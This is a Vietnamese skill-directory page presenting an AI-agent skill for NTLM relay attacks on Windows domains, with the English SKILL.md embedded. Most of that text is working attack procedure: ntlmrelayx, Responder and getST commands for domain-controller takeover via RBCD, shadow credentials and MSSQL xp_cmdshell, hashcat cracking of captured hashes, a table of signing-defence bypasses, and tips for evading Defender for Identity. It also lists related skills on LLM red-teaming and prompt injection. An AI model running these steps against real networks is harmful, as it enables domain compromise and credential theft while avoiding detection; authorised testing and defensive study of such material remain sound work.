ad-ntlm-relay
Skill này làm gì
Skill này là hướng dẫn chi tiết về NTLM relay, một điểm yếu đăng nhập của Windows, trong đó đăng nhập bị bắt giữ được chuyển tiếp sang một dịch vụ khác. Skill dành cho người kiểm thử và kiểm toán viên cần hiểu rủi ro trong một miền.
Khi nào nên dùng
- ✓Khi người kiểm thử bảo mật hỏi dịch vụ nào trong miền được ủy quyền có thể bị ảnh hưởng bởi NTLM relay.
- ✓Khi agent cần kiểm tra xem SMB signing có bị tắt trên các máy trạm không.
- ✓Khi một báo cáo cần giải thích bằng lời dễ hiểu rủi ro và cách khắc phục NTLM relay.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra máy nào trên mạng được ủy quyền của chúng tôi đã tắt SMB signing, để biết NTLM relay có thể xảy ra ở đâu không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent lập danh sách các máy mục tiêu đã tắt SMB signing, so sánh với các dịch vụ có thể chấp nhận đăng nhập được chuyển tiếp, rồi báo cáo kết quả.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
NTLM Relay Deep Dive
You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.
Target selection matrix
| Target protocol | Outcome | Requires |
|---|---|---|
| LDAP / LDAPS to a DC | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |
| SMB to a workstation | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |
| HTTP /certsrv/ (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |
| MSSQL | Database access; xp_cmdshell if linked |
Victim has DB privs |
| IMAP (Exchange) | Mailbox access | Victim has mailbox |
| HTTP /EWS (Exchange) | Mailbox + autodiscover | EWS reachable |
| LDAPS to DC for shadow creds | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |
SMB signing — the key constraint
| Target | Default SMB signing |
|---|---|
| DC | REQUIRED (signing on, must verify) — can't relay SMB to DC |
| Domain workstations | NOT REQUIRED (off by default) — can relay |
| File servers | usually REQUIRED |
| Linux Samba | varies |
Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.
Most useful chains
Coerce → relay to LDAP → RBCD attack
# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover
Coerce → relay to ADCS → DA cert
See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.
Responder → relay to LDAP for Shadow Credentials
sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy
Relay to MSSQL — pivot via xp_cmdshell
sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver
Multi-relay — fan-out one auth to many targets
# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)
When to crack instead of relay
If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):
# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules
Relay is BETTER when:
- You don't have time to crack (operationally bounded engagement)
- The hash is from a service account / computer account (uncrackable)
- The target requires the actual session (e.g., LDAPS, signed SMB)
Crack is BETTER when:
- You want offline persistence (don't need to be on the wire)
- The credentials are reusable across services
- Auth was from a normal user with a weak password
Signing-required mitigations and bypasses
| Defense | Bypass |
|---|---|
| SMB signing required on target | Relay to NON-SMB target (LDAP, HTTP, MSSQL) |
| LDAP channel binding | Relay to LDAPS instead (different binding rules) |
| Extended Protection for Authentication (EPA) | Relay to a service that doesn't enforce EPA (older Exchange, etc.) |
| MS16-075 ("hot potato" SMB→SMB block) | Cross-protocol relay works around it |
OPSEC
- Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
- LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.
- MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.
References
- impacket ntlmrelayx — github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
- dirk
Câu hỏi thường gặp
SMB signing là gì?
Đây là cài đặt kiểm tra tính toàn vẹn của lưu lượng chia sẻ tệp. Khi nó bị tắt, một số đăng nhập được chuyển tiếp có thể được chấp nhận.
Vì sao không thể relay đến bộ điều khiển miền qua SMB?
Skill nói rằng bộ điều khiển miền thường yêu cầu SMB signing, và điều này chặn con đường đó.
Skill có mô tả cách khắc phục không?
Skill đề cập đến việc bật signing và hạn chế các đích relay, còn chủ sở hữu hệ thống chọn cách khắc phục nào để dùng.
Chi tiết
Mô tả gốc của tác giả
NTLM relay deep-dive — `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13945
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.